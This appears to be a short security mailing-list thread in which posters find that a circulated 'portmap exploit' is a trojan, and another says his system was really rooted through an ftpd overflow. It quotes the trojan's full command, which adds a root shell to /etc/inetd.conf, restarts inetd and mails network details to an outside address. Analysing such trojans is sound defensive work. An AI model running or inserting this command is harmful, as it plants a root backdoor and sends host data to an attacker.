This is no portmap exploit. There's a trojan hidden in the shellcode which tries to add a backdoor in /etc/inetd.conf. So, someone ran a trojan on your system? I'm not sure I understand what you're trying to report. I think he found the exploit from somewhere, decided to try it on a system or two but got trojaned himself.. The "exploit" script calls system with: /bin/echo "65139 stream tcp nowait root /bin/sh sh -i" >> /etc/inetd.conf ; /bin/killall -1 inetd 2>&1 1>/dev/null ; /sbin/ifconfig -a | mail goat187 2>&1 2>/dev/null this system call is disguised as a pmap_proc_p call (and pmap_proc_p is defined as system). Apparently I did not read the comments close enough and did not see that it was a trojan. I've since found that we were rooted by a ftpd buffer overflow. The rootkit the attacker used added the root shell to inetd.conf and mailed the IP address and /etc/shadow of the machine. |
